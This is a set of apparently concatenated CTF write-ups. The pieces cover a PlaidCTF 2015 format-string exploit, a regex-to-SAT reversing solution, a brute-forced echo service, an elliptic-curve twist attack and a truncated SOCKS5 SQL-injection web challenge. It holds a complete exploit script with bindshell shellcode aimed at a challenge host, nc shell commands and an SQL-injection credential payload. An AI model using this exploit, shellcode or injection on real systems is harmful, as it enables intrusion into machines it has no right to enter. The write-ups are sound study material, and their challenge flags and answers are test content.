>```c>int __cdecl main(int argc, const char **argv, const char **envp)>{> int result; // eax@3>> while ( 1 )> {> result = (int)fgets(buf, 1024, stdin);> if ( !result )> break;> echo();> }> return result;>}>>int echo()>{> make_response();> puts(response);> return fflush(stdout);>}>>int make_response()>{> return snprintf(response, 0x400u, buf);>}>```
We can spot a very straight-forward format string bug in make_response (where we control the format specifier in buf). Let's first try to dump the stack with it:
>%x.%x.%x.%x.%x.>b76147a0.b7754ff4.0.bfa14cb8.804852c
Given that buf is a variable stored in the .bss section, no matter how far into the stack we dig, we won't encounter our own buffer so we won't get the usual write-anything/anywhere situation. But if we look at our stack dump we can see that the 5th DWORD on the stack is the return address from the call to make_response, indicating the 4th DWORD is the old EBP value. If we can overwrite the old EBP value we know that at the function epilogue handling it will do the following:
>```asm>leave>retn>```
Which allows us to effectively:
>```asm>mov eip, [old_ebp+4]>```
So let's say we want to overwrite old EBP with 0x41414141:
>(364931861*2+364931860 + 3) = 0x41414141
We craft the following format string:
>%364931861x.%364931861x.%364931860x.%n
So if we can point old_ebp to 4 bytes before an address holding the address we want to overwrite eip with we hijack control flow. Given that our buf is located in the static .bss section at 0x0804A080 we can overwrite old_ebp with (0x0804A080-4) = 0x0804A07C and use the following string:
>AAAA%44840317x%44840317x%44840318x%n
To overwrite EIP with 0x41414141. Now for the final part we need to put our shellcode in our buffer and overwrite EIP with the address of our shellcode. eip_overwrite = (0x0804A080 + n) where n is the length of the FMS exploit (36 bytes) so eip_overwrite = 0x0804A0A4 giving the fms exploit: \xA4\xA0\x04\x08%44840317x%44840317x%44840318x%n<shellcode>
Note that we will need to keep our original socket open in order to prevent xinetd (which is running the challenge) from killing the exploited process.
The following dirty [little exploit](solution/ebp_sploit.py) will do the trick:
>```python>#!/usr/bin/python>#># Plaid CTF 2015># EBP (PWN/160)>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>>from pwn import *>>#># Linux bindshell port 4444>#>buf = "">buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66">buf += "\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51">buf += "\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04">buf += "\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f">buf += "\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f">buf += "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80">>host = '52.6.64.173'>port = 4545>>h = remote(host, port, timeout = None)>>print "[*]Sending exploit...">exploit = "\xA4\xA0\x04\x08%44840317x%44840317x%44840318x%n" + buf>h.send(exploit + "\n")>print "[+]Exploit sent!">msg = h.recv(1024)>print msg>>h.close()>```
Running it gives us:
>```bash>$ python ebp_sploit.py+] Opening connection to 52.6.64.173 on port 4545: Done[*]Sending exploit...> $ nc 52.6.64.173 4444> id> uid=1001(problem) gid=1001(problem) groups=1001(problem)> ls /home/problem> ebp> flag.txt> cat /home/problem/flag.txt> who_needs_stack_control_anyway?>``` |
Fawkes has been playing around withFinite State Automaton lately. Whileexploring the concept of implementingregular expressions using FSA he thoughtof implementing an email-addressvalidator.Recently, Lua started to annoy Fawkes. Tothis, Fawkes, challenged Lua to a battle ofwits. Fawkes promised to reward Lua, onlyif she manages to transition to a non-reachable state in the FSA he implemented.The replication can be accessed here. |
# REG EX
## Writeup
This is a writeup of the reversing challenge 'REG EX' from PlaidCTF 2015.
The challenge provided two files: a python server program and a crazy-huge regex (see `regex.txt`). The python server is very basic: it simply listens for a connection, prompts for a 'key', and then checks whether the key matches the regex. It will then send the flag, but only if the provided key did NOT match the regex.
After the initial shock of looking at many screenfulls of regex, it actually breaks down into simple chunks. The regex consists of a single group which must match the entire string (`^(...)$`), containing a number of alternatives. Because we need to find a string which does not match the regex, we need to ensure that none of the alternatives match our string. The first alternative (`.*[^plaidctf].*`) will match any string which contains any character not in 'plaidctf', so we know our solution will contain only those characters. The second two alternatives (`.{,170}|.{172,}`) will match any string which is 170 characters or shorter and any string which is 172 characters or longer, respectively, so we know that our solution must be 171 characters long.
Each of the following alternatives matches a 171-character string where certain specified characters are in certain sets. For instance, the first of these (`.{88}[padt].{60}[licf].{6}[plai].{14}`) matches any 171-character string where the 89th character is in 'padt', the 149th character is in 'licf', and the 165th character is in 'plai'. Because we need our solution to not match any alternative, we therefore know that either the 89th character of the solution is not in 'padt' OR the 149th character is not in 'licf' OR the 165th character is not in 'plai'.
The problem of finding an input which satisfies all of these constraints reduces easily to [SAT](http://en.wikipedia.org/wiki/Boolean_satisfiability_problem), a well-studied NP-hard problem for which off-the-shelf solvers are plentiful. SAT is the problem of finding values for all of the variables in a boolean formula so that the value of the formula is true. To reduce our problem to SAT we need to put it all into boolean form.
One way to do this is to create 8 variables for each character in the solution string (8 * 171 = 1368 variables for the entire problem), each representing that character being one of the characters in 'plaidctf'. So for instance, the variable A might represent the statement "the character at index 0 in the solution is 'p'", B might represent the statement "the character at index 0 in the solution is 'l'", and so on. For each set of 8 variables (concerning a single character), it would be necessary to add the constraint that exactly one of those variables can be true. (An example of using a similar technique to apply a SAT solver to sudoku problems can be found [here](https://github.com/ContinuumIO/pycosat/blob/master/examples/sudoku.py).)
I wrote a python script which parses the regex, generates boolean constraints using this technique, puts the constraints into [CNF](http://en.wikipedia.org/wiki/Conjunctive_normal_form), and then attempts to solve the problem with a SAT-solving engine. However, after leaving this running overnight and getting no results, it began to seem unlikely that this was the right solution. How can we make it faster?
Well, we're using 8 boolean values to represent what is actually 3 bits of data (there are 8 possible characters at each position, so it should only take 3 boolean variables to represent that). Suppose instead of using 8 values for each character, we use three values, corresponding to the bits of the index of that character in the string 'plaidctf'?
```p 000l 001a 010i 011d 100c 101t 110f 111```
So for each character we have three boolean variables. If they are all false that corresponds to the character being 'p'. If the first two are false and the third is true, the character is 'l', and so on.
At this point I noticed an interesting pattern in the constraints. Each time there is a set of characters, it is almost always four characters. The four characters always appear in order of their indices in 'plaidctf', and there seems to be some repetition of character sets. In fact, there are only six four-character sets in all, and the characters in each set all share a common bit-value:
```plai (first bit 0)dctf (first bit 1)pldc (second bit 0)aitf (second bit 1)padt (third bit 0)licf (third bit 1)```
So each of these character sets actually only depends on a single bit in the character at that position (a single variable in our boolean system)!
There are also some character sets which are only two characters long (for instance 'dt'). In these cases the set provides information on two bits. The set 'dt' for instance, can be easily represented logically as bit 1 AND NOT bit 3.
(Note, we need the regex to NOT match, so the character set 'plai' appearing in the regex actually means that the first bit of that character in our solution must be 1 (for instance). In the example two-character set 'dt', the inverse expression becomes NOT bit 1 OR bit 3.)
Because each character set now translates to a clause which depends only on one or two variables, and the set of variables is significantly smaller, the SAT problem generated by this method is much simpler than the previous one. The script (`solution.py`) took under 30 minutes to produce the string:
```cddliadtatdddcfidpfatdaccafddiadpltdicdfldcltiftpdafpaddfdcddipappfdptapiptpatipccllpttpcitpdpdtapptfcppfdftccfiapctdallcitaadlfiatfpfpdiidltpacipdctcapfiddftcpalppidlpilp```
Connecting to the server at the address provided in the challenge and entering that string yielded the flag (`flag{np_hard_reg3x_ftw!!!1_ftdtatililactldtadf}`).
## solution.py```python# !/usr/bin/env python2import multiprocessing
from pycryptosat import Solver # must have cryptominisat4 installed and run in python2
# get the segments of the regex, ignoring the first three (which limit the character set and length)regex_segments = open('regex.txt', 'r').read().strip()[34:][:-2].split('|')
# Iterate through the regex segments and generate clauses. Each constraint is a list of tuples (index charset), where# index is an index into the solution string and charset is the set of chars which the regex would match at that indexconstraints = []for segment in regex_segments: index = 0 iterator = iter(segment) constraint = [] try: while True: char = next(iterator) if char == '.': # the character at the current index can be anything, skip it index += 1 elif char == '{': # parse a number of repetitions for '.' num_str = '' char = next(iterator) while char != '}': num_str = num_str + char char = next(iterator) num = int(num_str) index += num - 1 # - 1 for the . character, for which we already incremented the index elif char == '[': # parse the charset and add it to the constraint charset = '' char = next(iterator) while char != ']': charset += char char = next(iterator) constraint.append((index, charset)) index += 1 else: raise Exception("Unexpected character encountered in regex") except StopIteration: constraints.append(constraint)
def variables(index, charset): """ Given an index into the solution string and a set of characters from the regex, returns the number of each boolean variable which that charset would imply (positive if it's implied to be 1, negative for 0). """ ones = 0b111 zeros = 0b111 for char in charset: char_index = 'plaidctf'.index(char) ones &= char_index zeros &= ~char_index for bit_index in range(3): var_number = (index * 3) + bit_index + 1 if (ones >> bit_index) & 0b001: yield -var_number # Negative for ones because the character sets must not be matched elif (zeros >> bit_index) & 0b001: yield var_number
# Now we convert the constraints into CNF so they can be put into cryptominisatcnf = []
# create constraints for regex segmentsfor constraint in constraints: row = set() for index, charset in constraint: for variable in variables(index, charset): row.add(variable)
cnf.append(list(row))
s = Solver(threads=multiprocessing.cpu_count())for line in cnf: s.add_clause(line)sat, solution = s.solve()if sat: # Convert the solution from a list of booleans to a string solution = [solution[i + 1] if i + 1 < len(solution) else False for i in range(171 * 3)] # pad solution out to expected number of variables s = '' for i in range(171): b1, b2, b3 = solution[i * 3], solution[i * 3 + 1], solution[i * 3 + 2] ci = 0 if b1: ci += 1 if b2: ci += 2 if b3: ci += 4 s += 'plaidctf'[ci] print(s)else: print("Unsatisfiable")```
## regex.txt```^(.*[^plaidctf].*|.{,170}|.{172,}|.{88}[padt].{60}[licf].{6}[plai].{14}|.{60}[aitf].{17}[pldc].{85}[dctf].{6}|.{46}[licf].{56}[aitf].{20}[padt].{46}|.{26}[aitf].{38}[pldc].{76}[dctf].{28}|.{22}[padt].{100}[pldc].{15}[plai].{31}|.{47}[padt].{12}[dctf].{90}[aitf].{19}|.{18}[licf].{5}[pldc].{134}[aitf].{11}|.{67}[licf].{47}[plai].{49}[aitf].{5}|.{33}[plai].{43}[padt].{6}[dctf].{86}|.{132}[pldc]..[pldc].{7}[aitf].{27}|.{63}[dctf].{59}[dctf].{39}[aitf].{7}|.{6}[pldc].{38}[plai].{69}[plai].{55}|.{63}[pldc].{19}[licf].{59}[dctf].{27}|.{29}[licf].{28}[aitf].{98}[licf].{13}|.{21}[licf].{122}[dctf].{11}[aitf].{14}|.{70}[aitf].{46}[pldc].{41}[pldc].{11}|.{8}[dctf].{97}[padt].{29}[dctf].{34}|.[plai].{103}[padt].{33}[aitf].{31}|.{30}[plai].{78}[aitf].{20}[dctf].{40}|.{6}[aitf].{10}[aitf].{58}[plai].{94}|.{13}[pldc].{41}[aitf].{52}[pldc].{62}|.{12}[aitf].{62}[pldc]...[pldc].{91}|.{88}[dctf].{5}[licf].{15}[licf].{60}|.{8}[plai].{49}[padt].{8}[dctf].{103}|.{27}[pldc].{58}[plai].{53}[aitf].{30}|.{35}[pldc].{51}[licf].{19}[plai].{63}|.{109}[aitf].{17}[dctf].{6}[plai].{36}|.{10}[licf].{11}[aitf].{17}[aitf].{130}|.{91}[padt].{29}[padt].{6}[aitf].{42}|....[aitf].{88}[dctf].{67}[aitf].{9}|.{97}[licf].{27}[padt][plai].{44}|....[plai].{29}[plai].{30}[pldc].{105}|.{15}[dctf].{132}[dt].{22}|.{35}[aitf].{48}[padt].{31}[aitf].{54}|.{123}[dctf].{9}[aitf].{31}[padt].{5}|.{92}[padt][licf]....[plai].{72}|.{18}[pldc].{73}[pldc].{35}[licf].{42}|.{43}[pldc].{37}[licf].{32}[plai].{56}|.{5}[pldc].{114}[aitf].{13}[aitf].{36}|.{151}[padt][plai].{17}[licf]|.{149}[plai].{17}[padt]..[pldc]|.{133}[aitf].{12}[plai].{12}[padt].{11}|.{7}[dctf].{87}[aitf].{31}[pldc].{43}|.{25}[licf].[plai].{10}[padt].{132}|.{116}[aitf].{28}[plai].{23}[pldc].|.{28}[aitf].{10}[aitf].{46}[dctf].{84}|.{58}[licf].{23}[pldc].{52}[licf].{35}|.{8}[aitf].{30}[padt].{106}[padt].{24}|.{6}[padt].{94}[dctf]..[pldc].{66}|.{27}[aitf].{95}[dctf].{45}[padt].|.{91}[aitf].{68}[plai][pldc].{9}|.{85}[aitf].{23}[dctf].{36}[plai].{24}|.{63}[padt].[plai].{82}[pldc].{22}|.{66}[dctf]....[dctf].{68}[dctf].{30}|.{83}[aitf].{19}[dctf].{29}[plai].{37}|.{47}[padt].{8}[dctf].{52}[aitf].{61}|.{36}[aitf].{52}[aitf].{13}[dctf].{67}|.{10}[pldc].{81}[dctf].{11}[pldc].{66}|.{48}[pldc].{26}[licf].{36}[licf].{58}|.{20}[plai].{32}[pldc].{76}[plai].{40}|.{65}[plai]...[pldc].{90}[dctf].{10}|.{78}[dctf].{19}[pldc].{21}[pldc].{50}|.{14}[padt].{25}[plai].{49}[aitf].{80}|.{18}[pldc].{16}[padt].{105}[padt].{29}|.{6}[aitf].{18}[licf].{69}[dctf].{75}|.{26}[licf].{18}[licf].{83}[pldc].{41}|.{34}[padt].{39}[aitf].{5}[padt].{90}|.{32}[aitf].{29}[padt].{31}[plai].{76}|.{126}[plai].{8}[licf].{12}[dctf].{22}|[plai].{23}[dctf].{116}[plai].{29}|....[plai].{107}[plai].{43}[padt].{14}|.{15}[aitf].{15}[plai].{132}[licf].{6}|....[plai].{104}[dctf].{36}[plai].{24}|.{28}[plai].{95}[licf].{6}[licf].{39}|.{93}[aitf].{37}[dctf].{33}[dctf].{5}|.[pldc].{65}[plai].{48}[pldc].{54}|.{23}[padt].{92}[dctf].{44}[aitf].{9}|.{22}[licf].{73}[plai].{9}[plai].{64}|.{56}[dc].{64}[pldc].{49}|.{109}[pldc].{9}[dctf].{44}[padt].{6}|.{33}[plai].{45}[plai].{46}[aitf].{44}|.{39}[licf].{85}[padt]...[pldc].{41}|.{46}[pldc].{80}[aitf].{24}[aitf].{18}|.{25}[aitf].{44}[pldc].{97}[dctf]..|.{14}[dctf].{32}[dctf]..[pldc].{120}|.{88}[padt].{30}[aitf].{5}[licf].{45}|.{104}[plai].{43}[pldc].{14}[pldc].{7}|.{18}[plai].{69}[plai].{10}[dctf].{71}|.{56}[padt].{31}[dctf][licf].{81}|.{75}[aitf]....[pldc].{83}[pldc].{6}|.{12}[licf].{80}[plai].{13}[padt].{63}|.{50}[aitf].{16}[padt].{62}[pldc].{40}|.{48}[aitf].{6}[licf].{107}[licf].{7}|.{98}[dctf].{6}[pldc].{36}[padt].{28}|..[dctf].{59}[aitf].{72}[pldc].{35}|.{52}[dctf].{65}[pldc].{31}[dctf].{20}|.{35}[plai].{105}[dctf]....[plai].{24}|.{7}[pldc].{35}[aitf].{81}[plai].{45}|.{102}[aitf].{41}[padt][plai].{25}|.{46}[pldc][padt].{46}[aitf].{76}|.{74}[padt].{20}[dctf].{60}[padt].{14}|.{31}[aitf].{105}[plai].[plai].{31}|.{12}[aitf].{127}[licf].{27}[aitf]..|.{107}[padt]..[plai][aitf].{59}|.{47}[pldc].{5}[plai].{53}[licf].{63}|.{129}[aitf].{12}[licf][licf].{27}|.{57}[aitf].{77}[plai].{24}[licf].{10}|.{37}[pldc].{79}[pldc].{6}[aitf].{46}|.{50}[padt].{45}[pldc].{70}[pldc]...|.{9}[pldc].{13}[plai].{104}[aitf].{42}|.{51}[aitf].{19}[dctf].{24}[aitf].{74}|.{34}[padt].{111}[plai]....[aitf].{19}|.[padt].{83}[pldc].{62}[padt].{22}|.{56}[aitf].{28}[pldc].{81}[plai]...|.{35}[padt][licf].{57}[aitf].{76}|.{15}[licf].{69}[padt].{13}[pldc].{71}|.{29}[pldc].{34}[pldc].{74}[plai].{31}|.{14}[licf].{10}[pldc].{86}[licf].{58}|.{73}[dctf].{60}[licf].{30}[dctf].{5}|.{11}[aitf].{20}[aitf].{83}[licf].{54}|.{17}[pldc].{15}[aitf][dctf].{136}|.{77}[plai].{57}[dctf].{7}[plai].{27}|.{34}[dctf]....[aitf].{10}[dctf].{120}|.{35}[pldc].{21}[aitf].{102}[licf].{10}|...[aitf].{64}[aitf].{21}[plai].{80}|.{93}[pldc].{18}[pldc].{52}[pldc].{5}|.{35}[aitf]....[pldc].{115}[padt].{14}|.{44}[aitf].{79}[aitf].{21}[plai].{24}|.{66}[plai].{10}[pldc].{52}[licf].{40}|.{71}[plai].{56}[padt].{20}[dctf].{21}|.{59}[licf].{25}[plai].{9}[pldc].{75}|...[padt].{78}[pldc].{66}[pl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78}|.{48}[padt].{15}[licf].{31}[plai].{74}|.{78}[licf].{17}[padt].{34}[padt].{39}|.[padt].{53}[licf].{105}[plai].{9}|.{20}[pldc].{10}[pldc].{74}[padt].{64}|.{11}[plai].{61}[dctf].{73}[padt].{23}|.{129}[dctf].{5}[padt].[padt].{33}|.{50}[aitf].{79}[dctf].{15}[aitf].{24}|.{45}[dctf].{56}[aitf].{30}[plai].{37}|[dctf].{111}[licf].{44}[padt].{13}|.{12}[cf].{96}[licf].{61}|.{25}[aitf].{61}[padt].{27}[licf].{55}|.{26}[padt].{56}[padt]...[aitf].{83}|.{38}[padt].{57}[dctf].{52}[dctf].{21}|.{35}[pldc].{34}[dctf].{98}[licf].|.{91}[padt].{24}[dctf].{36}[pldc].{17}|.{24}[licf].{43}[dctf].{67}[licf].{34}|.{68}[licf].{74}[plai].{12}[plai].{14}|.{96}[plai]....[padt].{15}[padt].{53}|.{12}[dctf].{57}[aitf].{44}[pldc].{55}|.{59}[aitf].{60}[dctf].{18}[pldc].{31}|.{19}[dctf].{12}[padt].{42}[padt].{95}|.{60}[pldc].{29}[pldc].{8}[dctf].{71}|.{89}[plai].{39}[plai].{32}[licf].{8}|.{34}[licf].{18}[dctf].{33}[padt].{83}|.{45}[padt].{19}[plai].{15}[dctf].{89}|.{67}[aitf].{9}[padt].{57}[padt].{35}|.{56}[padt].{6}[licf].{43}[pldc].{63}|.{90}[plai].{61}[dctf].{12}[padt].{5}|.{29}[dctf].{90}[licf].{43}[licf].{6}|.{13}[licf]....[plai].{143}[licf].{8}|.{16}[plai].{37}[plai].{109}[plai].{6}|.{41}[aitf].{12}[padt].{112}[pldc]...|.{45}[padt].{94}[padt].{12}[plai].{17}|.{52}[aitf].{55}[pldc].{50}[dctf].{11}|.{47}[padt].{24}[padt].{20}[padt].{77}|.{24}[licf].{100}[aitf].{34}[plai].{10}|.{10}[plai].{71}[pldc].{17}[plai].{70}|.{23}[plai].{77}[padt]..[dctf].{66}|.{30}[aitf].{57}[licf].{15}[padt].{66}|.{128}[pldc].{12}[plai].{12}[padt].{16}|.{7}[licf].{17}[plai].{78}[aitf].{66}|.{59}[plai].{40}[licf].{68}[pldc].|.{15}[padt].{69}[pldc].{70}[plai].{14}|.{19}[dctf].{26}[dctf].{85}[dctf].{38}|.{20}[plai].{35}[plai].{75}[padt].{38}|.{40}[plai].{48}[licf].{11}[aitf].{69}|.{18}[dctf].{77}[licf].{19}[pldc].{54}|.{78}[licf].{13}[padt].{73}[dctf]....|.{5}[dctf].{126}[padt].{9}[plai].{28}|.{64}[dctf].{37}[dctf].{62}[aitf].{5}|.{91}[aitf].{21}[pldc].{10}[padt].{46}|.{8}[dctf].{29}[plai].{40}[plai].{91}|.{122}[licf].{13}[dctf].{11}[dctf].{22}|.{91}[aitf].{30}[licf].{18}[aitf].{29}|.{70}[licf].{11}[dctf].{21}[dctf].{66}|.{68}[licf].{12}[aitf].{82}[licf].{6}|.{21}[plai]....[aitf].{92}[pldc].{51}|.{31}[licf]...[pldc].{108}[padt].{26}|.{39}[aitf].{59}[aitf].{58}[plai].{12}|.{87}[pldc].{15}[plai].{59}[dctf].{7}|.{38}[aitf].{5}[padt].{87}[aitf].{38}|.{58}[dctf].{13}[plai].{39}[licf].{58}|.{39}[licf].{86}[dctf].{21}[aitf].{22}|.{25}[padt].{34}[licf].{16}[plai].{93}|.{65}[padt].{14}[padt].{46}[aitf].{43}|.{17}[dctf].{100}[pldc].{23}[padt].{28}|.{7}[pldc].{87}[dctf].{49}[dctf].{25}|[plai].[aitf].{109}[dctf].{58}|...[aitf].{72}[aitf].{92}[pldc].|.{37}[pldc].{89}[plai]....[padt].{38}|.{72}[aitf].{11}[padt].{62}[padt].{23}|.{48}[aitf].{38}[pldc].{58}[dctf].{24}|.{42}[dctf].{28}[plai].{87}[dctf].{11}|....[dctf].{25}[padt].{30}[aitf].{109}|.{33}[pldc].{63}[dctf].{60}[aitf].{12}|.{57}[plai].{80}[pldc].{16}[padt].{15}|.{32}[dctf].{73}[pldc].{15}[padt].{48}|.{25}[pldc].{84}[padt].{23}[plai].{36}|..[pldc].{21}[plai].{137}[pldc].{8}|.{99}[padt].{36}[licf].{14}[licf].{19}|.{57}[pldc].{20}[pldc].{76}[padt].{15}|.{30}[pldc].{94}[dctf]....[aitf].{40}|.{44}[pldc].{17}[plai].{99}[aitf].{8}|.{57}[plai].{63}[dctf].{34}[licf].{14}|.{31}[licf][pldc].{17}[padt].{120}|.{52}[padt].{30}[padt].{34}[padt].{52}|.{67}[dctf].{27}[licf].{65}[dctf].{9}|.{27}[pldc].{41}[plai].{10}[licf].{90}|.{34}[plai].{35}[dctf].{8}[dctf].{91}|.{7}[aitf].{56}[plai].{23}[padt].{82}|.{84}[dctf].{55}[padt].{13}[aitf].{16}|.{21}[pldc].{18}[padt].{114}[dctf].{15}|.{5}[licf].{49}[aitf].{37}[pldc].{77}|.{30}[aitf].{57}[pldc].{5}[plai].{76}|.{69}[aitf][pldc].{49}[padt].{50}|.{15}[pldc].{79}[licf].{34}[plai].{40}|...[padt].{11}[aitf].{41}[dctf].{113}|.{19}[padt].{34}[licf].{109}[aitf].{6}|.{22}[licf].{57}[plai].{68}[dctf].{21}|.{37}[plai].{26}[pldc].{62}[licf].{43}|.{27}[padt].{94}[pldc].{20}[pldc].{27}|.{21}[pldc][plai].{84}[licf].{63}|.{31}[licf].{29}[plai].{63}[dctf].{45}|.{11}[licf].{97}[aitf].{43}[aitf].{17}|.{130}[licf].{17}[dctf].{5}[plai].{16}|.{50}[aitf].{35}[padt].{15}[licf].{68}|.{32}[pldc].{56}[aitf].{74}[padt].{6}|.{59}[pldc].{16}[dctf].{40}[dctf].{53}|.{59}[padt]..[pldc].{93}[padt].{14}|...[dctf].{89}[dctf].{74}[pldc]..|.{29}[aitf].{59}[plai].{30}[plai].{50}|.{18}[plai].{133}[aitf].{15}[licf]..|.{124}[pa].{13}[aitf].{32}|.{80}[padt].{60}[padt].{24}[pldc]....|.{123}[plai].{35}[pldc].{6}[dctf]....|.{24}[pldc].{11}[pldc].{20}[padt].{113}|..[dctf].{73}[pldc].{12}[plai].{81}|.{61}[dctf].{62}[plai].{13}[plai].{32}|.{49}[plai].{82}[pldc].{18}[pldc].{19}|.{82}[pldc].{5}[plai].{21}[licf].{60}|.{16}[plai].{38}[padt].{70}[aitf].{44}|.{23}[dctf]...[dctf].{131}[dctf].{11}|.{28}[pldc].{76}[aitf].{24}[pldc].{40}|.{135}[dctf].{7}[dctf].{6}[pldc].{20}|.{89}[aitf].{17}[plai].{37}[plai].{25}|.{9}[pldc].{85}[aitf].{6}[padt].{68}|.{96}[dctf].{26}[padt].{38}[pldc].{8}|.{7}[dctf].{78}[licf].{78}[dctf].{5}|.{94}[padt].{32}[padt].{32}[pldc].{10}|.{73}[padt].{36}[aitf].{25}[dctf].{34}|.{16}[pldc].{104}[plai].{6}[dctf].{42}|..[padt].{107}[dctf]...[padt].{56}|.{23}[plai].{46}[padt].{23}[licf].{76}|.{41}[pldc].{25}[licf].{5}[plai].{97}|.{17}[dctf].{49}[pldc].{35}[licf].{67}|.{20}[aitf].{116}[licf].{16}[aitf].{16}|.{53}[licf].{7}[plai].{46}[padt].{62}|.{32}[dctf].{8}[licf].{53}[licf].{75}|.{13}[aitf].{112}[aitf].{16}[dctf].{27}|.{53}[licf].{56}[licf]...[dctf].{56}|.{28}[padt].{91}[plai]....[pldc].{45}|.{24}[pldc][pldc].{117}[dctf].{27}|.{44}[aitf].{35}[padt].{74}[aitf].{15}|.{62}[plai].{11}[dctf].{89}[dctf].{6}|.{30}[licf].{43}[padt].{20}[padt].{75}|.{14}[aitf].{112}[plai].{22}[aitf].{20}|.{10}[aitf].{32}[pldc].{101}[licf].{25}|.{52}[dctf].{8}[licf].{107}[dctf].|.{40}[licf].{46}[dctf].{24}[licf].{58}|.{57}[licf].{38}[plai].{50}[pldc].{23}|.{14}[aitf].{67}[plai].{19}[aitf].{68}|.{47}[padt].{65}[plai].{23}[dctf].{33}|.{13}[plai].{55}[padt].{21}[plai].{79}|.{104}[plai]..[plai][plai].{62}|.{29}[dctf].{108}[padt].{25}[aitf].{6}|.{69}[padt][licf].{33}[licf].{66}|.{23}[aitf].{96}[padt]....[dctf].{45}|.{39}[dctf].{8}[dctf].{37}[pldc].{84}|.{115}[plai].{11}[licf].{29}[padt].{13}|.{5}[pldc]..[padt].{123}[pldc].{38}|.{67}[plai]...[plai].{17}[pldc].{81}|.{29}[aitf].{49}[plai].{62}[pldc].{28}|.{97}[aitf].{8}[dctf].{61}[licf]..|.{63}[padt].{73}[dctf].{31}[licf].|.{61}[pldc]...[licf].{62}[pldc].{42}|.{73}[plai].{63}[pldc].{21}[pldc].{11}|.{9}[licf].{6}[aitf].{98}[plai].{55}|.{33}[licf].{32}[padt].{61}[plai].{42}|.{21}[aitf].{52}[aitf].{60}[plai].{35}|.{47}[padt].{57}[padt].{56}[aitf].{8}|.{38}[dctf].{96}[plai][aitf].{34}|.{54}[pldc].{88}[plai][aitf].{26}|.{11}[aitf].{41}[aitf].{97}[padt].{19})$``` |
# ASIS Cyber Security Contest Finals 2014: Echo
**Category:** PPC**Points:** 200**Description:**
> Connect there:>> ```bash> nc asis-ctf.ir 12433> ```
## Write-up
Let’s connect to the service:
```bash$ nc asis-ctf.ir 12433Go Ahead and find flag :D```
The service seems to just echo whatever we send it:
```bash$ nc asis-ctf.ir 12433Go Ahead and find flag :Da # ← our inputa # ← responsebb```
When the word `flag` is used, the service sends an additional response:
```bash$ nc asis-ctf.ir 12433Go Ahead and find flag :DflagflagKidding Me!```
When exactly two characters are sent, you get yet another response:
```bash$ nc asis-ctf.ir 12433Go Ahead and find flag :DaaaaBe smart!```
After a lot of trial and error, we discover that the server responds ‘Perfect!’ the first time you send `hi` in the session:
```bash$ nc asis-ctf.ir 12433Go Ahead and find flag :DhihiPerfect!hihiBe smart!```
We wrote a script that sends every possible combination of two printable ASCII characters to the service, and let it run for a while. Apparently this is the order of messages the service expected (i.e. you get the ‘Perfect!’ response for each of these if you enter them in this order):
```"hi"" a""ll"", ""wa""rm""up"" r""ou""nd""! ""th""e ""fl""ag"" i""s ""AS""IS""_7""17""ef""53""de""3a""7c""90""80""ef""d2""bc""2b""a5""d0""d0"```
This gave us the flag except for the last digit. But since we know it’s a hex digit, we can try all options and see which one gets accepted. The flag turned out to be `ASIS_717ef53de3a7c9080efd2bc2ba5d0d05`.
## Other write-ups and resources
* none yet |
## Wonderland - Crypto 600 Problem - Writeup by Robert Xiao (@nneonneo)
Wonderland was quite a tough problem. Opening up the package, we see that the server implements some kind of elliptic curve scheme. We found that the curve was given in Montgomery curve form, and checked that the arithmetic was all correct (also verified by checking with SAGE).
The server lets us pick an arbitrary base point, which is "exponentiated" to the power of the unknown flag. Thus our goal is to find this flag. With a base point on the curve, this is quite difficult - it is equivalent to the ECC discrete log problem, and there's no obvious weaknesses with the curve. The order of the points is
k1 = 1461501637330902918203684014253252914573215409208
which factorizes as `2*2*2*182687704666362864775460501781656614321651926151`: the presence of the really big prime makes the curve quite secure.
The weakness of the scheme lies in the fact that it accepts arbitrary base points, without checking to see if they lie on the curve. This makes it possible to supply points that actually don't lie on the curve at all - they lie instead on the "quadratic twist" of the curve, an object with different mathematical properties. In particular, the multiplicative order of points on the quadratic twist is not equal to the multiplicative order of points not on the quadratic twist. For example, the order of the point `[8; 1]` (a point with `x=8`) is
k2 = 1461501637330902918203685651179313124738649676760
and, unlike the order of the points on the curve, this order factors as
2*2*2*5*7*31*5857*3280967*68590573243*308648791439*413879086189
which consists of a bunch of small factors.
Now the attack is clear. We can a non-curve point `P_f` of order `f` by computing `[8; 1]^(k2/f)` whenever `f` is a factor of `k2`. Then, we can ask the server to exponentiate `P_f`: the result is a point `P_f^e` for some `e` congruent to the key. Finding all the `e`s will let us apply the Chinese Remainder Theorem to recover the key.
The actual attack, then, uses a variation of Pollard's Rho algorithm to compute the discrete logarithms `e` for each `P_f^e`. The full details can be seen in `attack.py`. |
# Teaser CONFidence CTF 2015: Apache Underwear
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| Teaser CONFidence CTF 2015 | Apache Underwear | Web | 400 |
**Description:**>*Pwn [this server](http://134.213.136.187:8080/). Keep in mind, this is a web challenge :-O.*
----------## Write-up
When connecting to the server, we are served the following page content:
>```html>Youe IP (x.x.x.x) is too world wide ;>```
Obviously this is a hint at the fact that the server only accepts connections coming from the local network (or localhost) and we have to connect to a socks server on port 9090 first.
Let's give it a first try:
>```bash>$ curl --socks5 134.213.136.187:9090 http://127.0.0.1/>curl: (7) No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)>$ curl --socks5 ayy:[email protected]:9090 http://127.0.0.1/>curl: (7) User was rejected by the SOCKS5 server (1 99).>```
So we don't know the username and password to the socks5 server. Since this is a web challenge we made a wild guess that the socks5 server might use some kind of dbms backend to do user management, so we tried SQL injection:
>```bash>$ curl --socks5 "' or 1=1/*:[email protected]:9090" "http://127.0.0.1:8080/">Nice One ! close ... >```
Ok, so that worked. After some messing around and trying various different pages we decided to give apache's [mod_status page](http://httpd.apache.org/docs/2.2/mod/mod_status.html) a try (since this will disclose quests currently being processed):
